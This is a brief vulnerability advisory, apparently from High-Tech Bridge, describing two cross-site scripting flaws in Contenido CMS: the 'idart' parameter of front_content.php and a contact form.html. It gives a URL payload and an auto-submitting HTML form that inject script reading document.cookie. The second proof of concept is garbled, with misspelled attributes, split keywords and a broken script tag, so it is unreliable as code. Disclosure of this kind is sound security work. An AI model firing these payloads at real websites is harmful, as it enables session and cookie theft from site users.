Cross-site Scripting (XSS) Vulnerabilities in Contenido CMS

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Contenido CMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in Contenido CMS
1.1 The vulnerability exists due to input sanitation error in the "idart" parameter in front_content.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/en/front_content.php?idart=1267%27%22%3E%3Cscript%3Ealert%28docu ment.cookie%29%3C/script%3E
1.2 The vulnerability exists due to input sanitation error in form.html. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action=http://host/path/to/contact/form.html?parentid= methos=POST name=M>
<input type="hidden" name="send" valuye="1">
<input type="hidden" name="Vorname" valuye='z"><script>alert(document.cookie)</script>'>
</form>
<script>
doc ument.M.Submit();
<scri pt>